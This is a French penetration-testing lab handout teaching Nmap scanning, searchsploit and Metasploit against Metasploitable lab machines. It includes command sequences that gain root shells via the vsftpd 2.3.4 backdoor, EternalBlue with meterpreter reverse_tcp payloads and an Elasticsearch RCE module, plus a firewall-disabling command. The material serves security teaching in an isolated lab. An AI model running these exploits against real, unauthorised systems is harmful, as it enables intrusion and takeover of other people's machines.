

---

## **TP test d'intrusion**

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - [olivier@lasne.pro](mailto:olivier@lasne.pro)

2020-11-29

## Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

## Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

## Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

*Exemple avec Metasploitable :*

```
1 $ nmap 192.168.56.210
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:46 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00050s latency).
5 Not shown: 976 closed ports
6 PORT      STATE SERVICE
7 21/tcp    open  ftp
8 22/tcp    open  ssh
9 80/tcp    open  http
10 135/tcp   open  msrpc
11 139/tcp   open  netbios-ssn
12 445/tcp   open  microsoft-ds
13 3306/tcp  open  mysql
14 3389/tcp  open  ms-wbt-server
15 4848/tcp  open  appserv-http
16 7676/tcp  open  imqbrokerd
17 8009/tcp  open  ajp13
18 8022/tcp  open  oa-system
19 8031/tcp  open  unknown
20 8080/tcp  open  http-proxy
21 8181/tcp  open  intermapper
22 8383/tcp  open  m2mservices
23 8443/tcp  open  https-alt
```

```
24 9200/tcp open wap-wsp
25 49152/tcp open unknown
26 49153/tcp open unknown
27 49154/tcp open unknown
28 49157/tcp open unknown
29 49158/tcp open unknown
30 49161/tcp open unknown
31
32 Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

## Découvrir les machines présentes sur un réseau

### Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
1 nmap -sn 10.11.1.1-254
```

### Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
1 nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

**-Pn** : scan les ports même si la machine ne réponds pas aux pings.

**--top-ports xx** : scan uniquement les **xx** ports les plus communs.

**--open** : dans la sortie indique uniquement les ports ouverts.

**-sS** : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

### Enregistrer les résultats

Nmap support 3 formats d'enregistrement

**-oN** : format texte classique. Identique à la sortie de la console.

**-oG** : *grepable nmap*, optimisé pour une recherche dans les résultats avec **grep**

**-oX** : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

## Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

### Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
1 nmap -sV -sC -O -p- 192.168.56.210 -oN full.nmap
```

**-p-** va indiquer que l'on liste absolument tous les ports

**-sV** indique que l'on veut récupérer les informations de version

**-sC** indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord

**-O** signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.

**-oN** écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option **-p-** de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

### Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
1 nmap -sU 192.168.56.210 -oN udp.nmap
```

### Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier `/usr/share/nmap/scripts`

Lister les scripts en lien avec SMB :

```
1 ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
1 $ nmap --script-help=smb-os-discovery.nse
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST
3
4 smb-os-discovery
```

```
5 Categories: default discovery safe
6 https://nmap.org/nsedoc/scripts/smb-os-discovery.html
7 Attempts to determine the operating system, computer name, domain,
  workgroup, and current
8 time over the SMB protocol (ports 445 or 139).
9 This is done by starting a session with the anonymous
10 account (or with a proper user account, if one is given; it likely
  doesn't make
11 a difference); in response to a session starting, the server will
  send back all this
12 information.
13
14 The following fields may be included in the output, depending on the
15 circumstances (e.g. the workgroup name is mutually exclusive with
  domain and forest
16 names) and the information available:
17 * OS
18 * Computer name
19 [...]
```

**/!\ Attention :** par défaut un pare-feu filtre le SMB sur Metasploitable 3. On peut le désactiver avec la commande suivante :

```
1 netsh advfirewall set allprofile state off
```

Un **script nmap** est exécuté de la façon suivante :

```
1 $ nmap --script=smb-os-discovery.nse 192.168.56.210 -p139,445
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:53 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00033s latency).
5
6 PORT      STATE SERVICE
7 139/tcp   open  netbios-ssn
8 445/tcp   open  microsoft-ds
9
10 Host script results:
11 | smb-os-discovery:
12 |   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows
  Server 2008 R2 Standard 6.1)
13 |   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
14 |   Computer name: metasploitable3-win2k8
15 |   NetBIOS computer name: METASPLOITABLE3\x00
16 |   Workgroup: WORKGROUP\x00
17 |_  System time: 2020-12-14T09:53:16-08:00
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

## Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme [cvedetails.com](https://cvedetails.com), et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

## Exploit-DB

Le site de référence pour les exploits publics est **exploit-db.com**.

On peut effectuer des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **searchsploit**.

```
1 $ searchsploit vsftpd
2 -----
3 Exploit Title | Path
4 -----
5 vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
6 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
7 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
8 vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
9 vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
10 -----
```

On peut utiliser l'option **-u** pour mettre à jour la base de données. `searchsploit -u`

L'option **-x** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **-m** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

## Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
1 $ file 31819.pl
2 31819.pl: ASCII text, with CRLF line terminators
3
4 $ dos2unix 31819.pl
```

```
5 dos2unix: converting file 31819.pl to Unix format...
6
7 $ file 31819.pl
8 31819.pl: ASCII text
```

## Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.

Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

## Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **msfdb run**.

L'état de la base de données peut être vérifiée avec **msfdb status**.

## Msfconsole

On lance le framework avec la commande **msfconsole**.

```
1 $ msfconsole
2 IIIIII dTb.dTb
3  II  4'  v  'B  . '"".'/'\.'"".'
4  II  6.      .P  : .'. / \ \.' :
5  II  'T;. .;P'  \.' / \ \.' :
6  II  'T; ;P'   \.' / \ \.' :
7 IIIIII  'YvP'   \.' / \ \.' :
8
9 I love shells --egypt
10
11
12      =[ metasploit v6.0.17-dev                               ]
13 + -- --=[ 2076 exploits - 1124 auxiliary - 352 post           ]
14 + -- --=[ 592 payloads - 45 encoders - 10 nops              ]
15 + -- --=[ 7 evasion                                           ]
16
17 Metasploit tip: You can use help to view all available commands
18
19 msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

**Exploit :** La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

**Auxiliary :** Va contenir les scanners, fuzzeurs, sniffer, etc.

**Payload, Encoders, Nops :** Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

**Post :** Ensemble de modules qui aident à la phase de post-exploitation.

### Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
1 msf6 > search vsftpd
2
3 Matching Modules
4 =====
5
6 #   Name                                     Disclosure Date   Rank
7 -   - - - - -                               - - - - -         - - - - -
8 0   exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03       excellent
9     No      VSFTPD v2.3.4 Backdoor Command Execution
10
11 Interact with a module by name or index. For example info 0, use 0 or
    use exploit/unix/ftp/vsftpd_234_backdoor
```



## Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```
1 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2 [*] No payload configured, defaulting to cmd/unix/interact
3
4 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

## Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
2
3 Module options (exploit/unix/ftp/vsftpd_234_backdoor):
4
5   Name      Current Setting  Required  Description
6   ----      -
7   RHOSTS                    yes       The target host(s), range CIDR
8   RPORT      21               yes       The target port (TCP)
9
10
11 Payload options (cmd/unix/interact):
12
13   Name      Current Setting  Required  Description
14   ----      -
15
16
17 Exploit target:
18
19   Id  Name
20   --  ---
21   0   Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande **set** :

```
1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.237.130
2 RHOSTS => 172.16.237.130
```

## Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour sélectionner un payload, on utilisera de la même façon la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
  meterpreter/reverse_tcp
2 payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquelle le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
2 LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** apparaissent également dans la sortie de la commande `options`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > options
2 [...]
3
4 Payload options (windows/meterpreter/reverse_tcp):
5
6   Name      Current Setting  Required  Description
7   ----      -
8   EXITFUNC  thread          yes       Exit technique (Accepted: '',
9             seh, thread, process, none)
10  LHOST      192.168.56.101  yes       The listen address (an
             interface may be specified)
10  LPORT      4444            yes       The listen port
```

## Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > check
2
3 [*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
  check
4 [-] 172.16.237.130:445 - Host does NOT appear vulnerable.
5 [*] 172.16.237.130:445 - Scanned 1 of 1 hosts (100% complete)
```

```
6  [*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `exploit` pour exécuter l'exploit.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
2
3  [*] 172.16.237.130:21 - Banner: 220 (vsFTPd 2.3.4)
4  [*] 172.16.237.130:21 - USER: 331 Please specify the password.
5  [+] 172.16.237.130:21 - Backdoor service has been spawned, handling...
6  [+] 172.16.237.130:21 - UID: uid=0(root) gid=0(root)
7  [*] Found shell.
8  [*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.237.130:6200)
   at 2020-11-29 17:15:39 -0500
9
10 whoami
11 root
```

## Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
1  python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

## Les sessions

Un shell ou **session** peut être mis en arrière plan avec la commande `background` ou le raccourci `Ctrl + Z`.

On peut lister les sessions avec la commande `sessions`.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions
2
3  Active sessions
4  =====
5
6  Id   Name   Type           Information   Connection
7  --   ----   ---           -
8  1    shell cmd/unix           0.0.0.0:0 ->
   172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
1  msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
```

```
2 [*] Starting interaction with 1...
3
4 whoami
5 root
```

**Exercice :**

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.

## Exploitation de Metasploitable 3

Compte admin sur la machine : `vagrant:vagrant`

Le clavier est en qwerty.

**Scan de ports**

Comme toujours on commence par un scan de ports :

```
1 nmap -sV -sC 192.168.56.7 -oN nmap/initial.nmap
2
3 nmap -sV -sC -p- 192.168.56.7 -oA nmap/full.nmap
```

**Eternal Blue**

On a le port 445 qui est ouvert. On peut vérifier si la machine est vulnérable a **Eternal Blue (MS17-010)** avec un **script nmap**.

```
1 $ ls /usr/share/nmap/scripts | grep smb
2 ...
3 smb-vuln-ms17-010.nse
4 ...
```

La machine semble être vulnérable :

```
1 $ nmap --script=smb-vuln-ms17-010.nse -p 445 192.168.56.7
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 09:53 CET
3 Nmap scan report for 192.168.56.7
4 Host is up (0.00028s latency).
5
```

```

6  PORT      STATE SERVICE
7  445/tcp    open  microsoft-ds
8
9  Host script results:
10 | smb-vuln-ms17-010:
11 |   VULNERABLE:
12 |     Remote Code Execution vulnerability in Microsoft SMBv1 servers (
13 |       ms17-010)
14 |       State: VULNERABLE
15 |       IDs:   CVE:CVE-2017-0143
16 |       Risk factor: HIGH
17 |       A critical remote code execution vulnerability exists in
18 |       Microsoft SMBv1
19 |       servers (ms17-010).
20 |       Disclosure date: 2017-03-14
21 |       References:
22 |         https://technet.microsoft.com/en-us/library/security/ms17-010.
23 |         aspx
24 |         https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-
25 |         guidance-for-wannacrypt-attacks/
26 |         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
27
28 Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

```

On peut utiliser un exploit Metasploit pour exploiter la vulnérabilité.

Exploit windows/smb/ms17\_010\_psexec est noté Excellent, il est fiable mais nécessite un named pipe.

Or `smbmap` nous indique qu'il n'y a pas de pipe accessible :

```

1 $ smbmap -H 192.168.56.7
2 [+] IP: 192.168.56.7:445      Name: 192.168.56.7

```

On peut donc se rabattre sur `windows/smb/ms17_010_eternalblue`.

```

1 msf6 exploit(windows/smb/ms17_010_eternalblue) > options
2
3 Module options (exploit/windows/smb/ms17_010_eternalblue):
4
5   Name          Current Setting  Required  Description
6   ----          -
7   RHOSTS         192.168.56.7    yes       The target host(s), range
8               CIDR identifier, or hosts file with syntax 'file:<path>'
9   RPORT          445             yes       The target port (TCP)
10  SMBDomain      .               no        (Optional) The Windows
11               domain to use for authentication
12  SMBPass        .               no        (Optional) The password
13               for the specified username
14  SMBUser        .               no        (Optional) The username to

```

```

12      authenticate as
13      VERIFY_ARCH      true          yes      Check if remote
          architecture matches exploit Target.
14      VERIFY_TARGET    true          yes      Check if remote OS matches
          exploit Target.
15
16      Payload options (windows/x64/meterpreter/reverse_tcp):
17
18      Name      Current Setting  Required  Description
19      ----      -
20      EXITFUNC  thread          yes      Exit technique (Accepted: '',
          seh, thread, process, none)
21      LHOST     192.168.56.5    yes      The listen address (an
          interface may be specified)
22      LPORT     4444            yes      The listen port
23
24
25      Exploit target:
26
27      Id  Name
28      --  ---
29      0   Windows 7 and Server 2008 R2 (x64) All Service Packs

```

Et on peut obtenir un shell avec la commande `exploit`. À noter que l'exploit n'est pas particulièrement fiable.

## Elastic Search

En se connectant au port 9200, on peut identifier qu'il s'agit d'un elasticsearch en cherchant sur internet avec le

- build\_hash
- lucene version

La version indiquée est la 1.1.1. Il existe un exploit metasploit pour cette version.

```

1  msf6 exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/
    elasticsearch/script_mvel_rce
2  [*] Using configured payload java/meterpreter/reverse_tcp

```

On prend soin de configurer les options correctement

```

1  msf6 exploit(multi/elasticsearch/script_mvel_rce) > options
2
3  Module options (exploit/multi/elasticsearch/script_mvel_rce):
4
5      Name      Current Setting  Required  Description

```

```

6      ----
7      Proxies                               no          A proxy chain of format type
      :host:port[,type:host:port][...]
8      RHOSTS      192.168.56.7      yes          The target host(s), range
      CIDR identifier, or hosts file with syntax 'file:<path>'
9      RPORT      9200      yes          The target port (TCP)
10     SSL          false          no          Negotiate SSL/TLS for
      outgoing connections
11     TARGETURI    /          yes          The path to the
      Elasticsearch REST API
12     VHOST        no          HTTP server virtual host
13     WritableDir   /tmp      yes          A directory where we can
      write files (only for *nix environments)
14
15
16     Payload options (java/meterpreter/reverse_tcp):
17
18     Name      Current Setting  Required  Description
19     ----      -
20     LHOST     192.168.56.5      yes       The listen address (an interface
      may be specified)
21     LPORT     4785          yes       The listen port
22
23
24     Exploit target:
25
26     Id  Name
27     --  ----
28     0   Elasticsearch 1.1.1 / Automatic

```

La commande `run` va nous obtenir un shell sur la machine distante.